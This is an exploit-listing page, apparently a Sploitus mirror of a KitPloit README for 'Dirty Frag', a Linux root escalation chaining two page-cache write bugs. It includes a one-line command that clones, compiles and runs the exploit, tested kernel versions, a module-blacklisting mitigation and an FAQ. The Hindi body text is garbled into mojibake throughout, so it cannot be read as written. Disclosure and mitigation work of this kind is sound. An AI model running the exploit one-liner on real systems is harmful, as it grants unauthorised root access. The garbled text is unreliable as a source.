Sploitus

Exploit for dirtyfrag

kitploit ┬╖ 2026-08-28

Exploit Code

MARKDOWN104 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-V4BEL-DIRTYFRAG
# Dirty Frag: рд╕рд╛рд░реНрд╡рднреМрдорд┐рдХ Linux LPE

![tux](https://assets.kitploit.com/production/public/readmes/7377/87b001b583866286c59a6613ba53b2c69fdcba9c6901f5639e9c0ab930078a9d.png)

# рд╕рд╛рд░рд╛рдВрд╢

![tux](https://assets.kitploit.com/production/public/readmes/7377/77b76144ea6d9e9387fb1a31137a18732769c2fc63d6fdddbe945961a618473a.gif)

рдпрд╣ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ Dirty Frag рднреЗрджреНрдпрддрд╛ рд╡рд░реНрдЧ рдХрд╛ рд╡рд░реНрдгрди рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ рдкрд╣рд▓реА рдмрд╛рд░ Hyunwoo Kim (@v4bel) рджреНрд╡рд╛рд░рд╛ рдЦреЛрдЬрд╛ рдФрд░ рд░рд┐рдкреЛрд░реНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдЬреЛ `xfrm-ESP Page-Cache Write (CVE-2026-43284)` рднреЗрджреНрдпрддрд╛ рдФрд░ `RxRPC Page-Cache Write (CVE-2026-43500)` рднреЗрджреНрдпрддрд╛ рдХреЛ рд╢реНрд░реГрдВрдЦрд▓рд┐рдд рдХрд░рдХреЗ рдкреНрд░рдореБрдЦ Linux рд╡рд┐рддрд░рдгреЛрдВ рдкрд░ рд░реВрдЯ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред

Dirty Frag рдПрдХ рдРрд╕рд╛ рдорд╛рдорд▓рд╛ рд╣реИ рдЬреЛ рдЙрд╕ рдмрдЧ рд╡рд░реНрдЧ рдХрд╛ рд╡рд┐рд╕реНрддрд╛рд░ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕рд╕реЗ Dirty Pipe рдФрд░ Copy Fail рд╕рдВрдмрдВрдзрд┐рдд рд╣реИрдВред рдЪреВрдВрдХрд┐ рдпрд╣ рдПрдХ рдирд┐рдпрддрд╛рддреНрдордХ рддрд░реНрдХ рдмрдЧ рд╣реИ рдЬреЛ рд╕рдордп рд╡рд┐рдВрдбреЛ рдкрд░ рдирд┐рд░реНрднрд░ рдирд╣реАрдВ рдХрд░рддрд╛, рдЗрд╕рд▓рд┐рдП рдХреЛрдИ рд░реЗрд╕ рдХрдВрдбреАрд╢рди рдЖрд╡рд╢реНрдпрдХ рдирд╣реАрдВ рд╣реИ, рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рд╡рд┐рдлрд▓ рд╣реЛрдиреЗ рдкрд░ рдХрд░реНрдиреЗрд▓ рдкреИрдирд┐рдХ рдирд╣реАрдВ рдХрд░рддрд╛, рдФрд░ рд╕рдлрд▓рддрд╛ рджрд░ рдмрд╣реБрдд рдЕрдзрд┐рдХ рд╣реИред

рд╡рд┐рд╕реНрддреГрдд рддрдХрдиреАрдХреА рдЬрд╛рдирдХрд╛рд░реА рдФрд░ рд╕рдордпрд░реЗрдЦрд╛ рдХреЗ рд▓рд┐рдП, рдпрд╣рд╛рдБ рджреЗрдЦреЗрдВред

  * `xfrm-ESP Page-Cache Write (CVE-2026-43284)` рдХреЛ рдореЗрдирд▓рд╛рдЗрди f4c50a4034e6 рдореЗрдВ рдкреИрдЪ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред
  * `RxRPC Page-Cache Write (CVE-2026-43500)` рдХреЛ рдореЗрдирд▓рд╛рдЗрди aa54b1d27fe0 рдореЗрдВ рдкреИрдЪ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред



> [!NOTE] рдЬрдм рдпрд╣ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдкрд╣рд▓реА рдмрд╛рд░ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХрд┐рдпрд╛ рдЧрдпрд╛ (2026-05-07), рддреЛ рдмрд╛рд╣рд░реА рдХрд╛рд░рдХреЛрдВ рдХреЗ рдХрд╛рд░рдг рдкреНрд░рддрд┐рдмрдВрдз рддреЛрдбрд╝ рджрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдЗрд╕рд▓рд┐рдП рдЕрднреА рддрдХ рдХреЛрдИ рдкреИрдЪ рдпрд╛ CVE рдореМрдЬреВрдж рдирд╣реАрдВ рдерд╛ред рдЙрд╕ рд╕рдордп some-email@example.com рдкрд░ рдЕрдиреБрд░рдХреНрд╖рдХреЛрдВ рдХреЗ рд╕рд╛рде рдкрд░рд╛рдорд░реНрд╢ рдХреЗ рдмрд╛рдж, Dirty Frag рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдЙрдирдХреЗ рдЕрдиреБрд░реЛрдз рдкрд░ рдкреНрд░рдХрд╛рд╢рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдкреНрд░рдХрдЯреАрдХрд░рдг рд╕рдордпрд░реЗрдЦрд╛ рдХреЗ рд▓рд┐рдП, рддрдХрдиреАрдХреА рд╡рд┐рд╡рд░рдг рджреЗрдЦреЗрдВред

# рд╢реЛрд╖рдг

## рдПрдХ-рдкрдВрдХреНрддрд┐ рд╡рд┐рд╢реЗрд╖

root@kitploit:~
    
    
    git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
    

рдпрд╣ PoC linux-distros рдХреЗ рд╕рд╛рде рдкрд░рд╛рдорд░реНрд╢ рдХреЗ рдмрд╛рдж рд╕рдЯреАрдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░рджрд╛рди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдЙрди рд╕рд┐рд╕реНрдЯрдореЛрдВ рдкрд░ рди рдХрд░реЗрдВ рдЬрд┐рдирдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдЕрдзрд┐рдХреГрдд рдирд╣реАрдВ рд╣реИрдВред

## рд╕рдлрд╛рдИ

тЪая╕П **рдорд╣рддреНрд╡рдкреВрд░реНрдг:** рдЗрд╕ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХреЛ рдЪрд▓рд╛рдиреЗ рдХреЗ рдмрд╛рдж, рдкреЗрдЬ рдХреИрд╢ рджреВрд╖рд┐рдд рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред рджреВрд╖рд┐рдд рдкреЗрдЬ рдХреИрд╢ рдХреЛ рд╕рд╛рдл рдХрд░рдиреЗ рдФрд░ рд╕рд┐рд╕реНрдЯрдо рд╕реНрдерд┐рд░рддрд╛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЪрд▓рд╛рдПрдБ:

root@kitploit:~
    
    
    echo 3 > /proc/sys/vm/drop_caches
    

рдпрд╛ рд╕рд┐рд╕реНрдЯрдо рдХреЛ рд░рд┐рдмреВрдЯ рдХрд░реЗрдВред

# рдкреНрд░рднрд╛рд╡рд┐рдд рд╕рдВрд╕реНрдХрд░рдг

  * **CVE-2026-43284** : xfrm-ESP Page-Cache Write рднреЗрджреНрдпрддрд╛ cac2661c53f3 (2017-01-17) рд╕реЗ рд▓реЗрдХрд░ f4c50a4034e6 (2026-05-05) рддрдХ рджрд╛рдпрд░реЗ рдореЗрдВ рд╣реИред
  * **CVE-2026-43500** : RxRPC Page-Cache Write рднреЗрджреНрдпрддрд╛ 2dc334f1a63a (2023-06-08) рд╕реЗ рд▓реЗрдХрд░ aa54b1d27fe0 (2026-05-10) рддрдХ рджрд╛рдпрд░реЗ рдореЗрдВ рд╣реИред



рджреВрд╕рд░реЗ рд╢рдмреНрджреЛрдВ рдореЗрдВ, рднреЗрджреНрдпрддрд╛рдУрдВ рдХрд╛ рдкреНрд░рднрд╛рд╡реА рдЬреАрд╡рдирдХрд╛рд▓ рд▓рдЧрднрдЧ 9 рд╡рд░реНрд╖ рд╣реИред

рдЗрд╕ Dirty Frag рдХрд╛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╡рд┐рддрд░рдг рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдкрд░ рдкрд░реАрдХреНрд╖рдг рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред

  * Ubuntu 24.04.4: 6.17.0-23-generic
  * RHEL 10.1: 6.12.0-124.49.1.el10_1.x86_64
  * openSUSE Tumbleweed: 7.0.2-1-default
  * CentOS Stream 10: 6.12.0-224.el10.x86_64
  * AlmaLinux 10: 6.12.0-124.52.3.el10_1.x86_64
  * Fedora 44: 6.19.14-300.fc44.x86_64
  * ...



# рд╢рдорди

  1. рднреЗрджреНрдпрддрд╛рдУрдВ рд╡рд╛рд▓реЗ рдореЙрдбреНрдпреВрд▓ рдХреЛ рд╣рдЯрд╛рдиреЗ рдФрд░ рдкреЗрдЬ рдХреИрд╢ рдХреЛ рд╕рд╛рдл рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред



root@kitploit:~
    
    
    sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true"
    

  2. рдЬрдм рдкреНрд░рддреНрдпреЗрдХ рд╡рд┐рддрд░рдг рдПрдХ рдкреИрдЪ рдмреИрдХрдкреЛрд░реНрдЯ рдХрд░рддрд╛ рд╣реИ, рддреЛ рддрджрдиреБрд╕рд╛рд░ рдЕрдкрдбреЗрдЯ рдХрд░реЗрдВред



# рдЕрдХреНрд╕рд░ рдкреВрдЫреЗ рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдкреНрд░рд╢реНрди

## рдЖрдкрдиреЗ рджреЛ рднреЗрджреНрдпрддрд╛рдУрдВ рдХреЛ рдХреНрдпреЛрдВ рд╢реНрд░реГрдВрдЦрд▓рд┐рдд рдХрд┐рдпрд╛?

xfrm-ESP Page-Cache Write, Copy Fail рдХреА рддрд░рд╣ рдПрдХ рд╢рдХреНрддрд┐рд╢рд╛рд▓реА рдордирдорд╛рдирд╛ 4-рдмрд╛рдЗрдЯ STORE рдкреНрд░рд┐рдорд┐рдЯрд┐рд╡ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдЕрдзрд┐рдХрд╛рдВрд╢ рд╡рд┐рддрд░рдгреЛрдВ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИ, рд▓реЗрдХрд┐рди рдЗрд╕рдХреЗ рд▓рд┐рдП рдиреЗрдорд╕реНрдкреЗрд╕ рдмрдирд╛рдиреЗ рдХрд╛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдЖрд╡рд╢реНрдпрдХ рд╣реИред

Ubuntu рдХрднреА-рдХрднреА AppArmor рдиреАрддрд┐ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЕрдирдкреНрд░рд┐рд╡рд┐рд▓реЗрдЬреНрдб рдпреВрдЬрд╝рд░ рдиреЗрдорд╕реНрдкреЗрд╕ рдирд┐рд░реНрдорд╛рдг рдХреЛ рдЕрд╡рд░реБрджреНрдз рдХрд░рддрд╛ рд╣реИред рдРрд╕реЗ рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ, xfrm-ESP Page-Cache Write рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ред RxRPC Page-Cache Write рдХреЛ рдиреЗрдорд╕реНрдкреЗрд╕ рдмрдирд╛рдиреЗ рдХреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИ, рд▓реЗрдХрд┐рди `rxrpc.ko` рдореЙрдбреНрдпреВрд▓ рд╕реНрд╡рдпрдВ рдЕрдзрд┐рдХрд╛рдВрд╢ рд╡рд┐рддрд░рдгреЛрдВ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдирд╣реАрдВ рд╣реИред рд╣рд╛рд▓рд╛рдВрдХрд┐, Ubuntu рдкрд░, `rxrpc.ko` рдореЙрдбреНрдпреВрд▓ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

рджреЛрдиреЛрдВ рд╡реЗрд░рд┐рдПрдВрдЯ рдХреЛ рд╢реНрд░реГрдВрдЦрд▓рд┐рдд рдХрд░рдиреЗ рд╕реЗ рдЕрдВрдз рдзрдмреНрдмреЗ рдПрдХ-рджреВрд╕рд░реЗ рдХреЛ рдврдХ рд▓реЗрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдкреНрд░рддреНрдпреЗрдХ рдкреНрд░рдореБрдЦ рд╡рд┐рддрд░рдг рдкрд░ рд░реВрдЯ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред рд╡рд┐рд╡рд░рдг рдХреЗ рд▓рд┐рдП, рддрдХрдиреАрдХреА рд╡рд┐рд╡рд░рдг рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рджреЗрдЦреЗрдВред

## рдПрдХ рдФрд░ "рдмреНрд░рд╛рдВрдбреЗрдб" "Dirty" рд╢реНрд░реГрдВрдЦрд▓рд╛?

рд╣рд╛рдБ, рд╣рд╛рдБ, рдореБрдЭреЗ рдкрддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрд╣ рднреЗрджреНрдпрддрд╛ "Dirty Pipe" рдХреА рд╡рдВрд╢рдЬ рд╣реИ, рдФрд░ рдпрд╣ рдПрдХ рдмрдЧ рд╡рд░реНрдЧ рд╣реИ рдЬреЛ `struct sk_buff` рдХреЗ `frag` рд╕рджрд╕реНрдп рдХреЛ "рдЧрдВрджрд╛" рдХрд░рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдпрд╣ рдирд╛рдо рд╕рдмрд╕реЗ рдЙрдкрдпреБрдХреНрдд рд╣реИред

## "Copy Fail" рднреЗрджреНрдпрддрд╛ рд╕реЗ рдЗрд╕рдХрд╛ рдХреНрдпрд╛ рд╕рдВрдмрдВрдз рд╣реИ?

Copy Fail рдЗрд╕ рд╢реЛрдз рдХреЛ рд╢реБрд░реВ рдХрд░рдиреЗ рдХреА рдкреНрд░реЗрд░рдгрд╛ рдерд╛ред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, Dirty Frag рднреЗрджреНрдпрддрд╛ рд╢реНрд░реГрдВрдЦрд▓рд╛ рдореЗрдВ xfrm-ESP Page-Cache Write, Copy Fail рдХреЗ рд╕рдорд╛рди sink рд╕рд╛рдЭрд╛ рдХрд░рддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрд╣ algif_aead рдореЙрдбреНрдпреВрд▓ рдЙрдкрд▓рдмреНрдз рд╣реЛрдиреЗ рдпрд╛ рди рд╣реЛрдиреЗ рдкрд░ рднреА рдЯреНрд░рд┐рдЧрд░ рд╣реЛрддрд╛ рд╣реИред рджреВрд╕рд░реЗ рд╢рдмреНрджреЛрдВ рдореЗрдВ, рдЙрди рд╕рд┐рд╕реНрдЯрдореЛрдВ рдкрд░ рднреА рдЬрд╣рд╛рдВ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рд░реВрдк рд╕реЗ рдЬреНрдЮрд╛рдд Copy Fail рд╢рдорди (algif_aead рдмреНрд▓реИрдХрд▓рд┐рд╕реНрдЯ) рд▓рд╛рдЧреВ рд╣реИ, рдЖрдкрдХрд╛ Linux рдЕрднреА рднреА Dirty Frag рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИред

## рддреЛ, рдореИрдВ рдЕрдкрдиреЗ Linux рдХреЛ рдХреИрд╕реЗ рдареАрдХ рдХрд░реВрдБ?

рдКрдкрд░ рд╢рдорди рдЕрдиреБрднрд╛рдЧ рджреЗрдЦреЗрдВред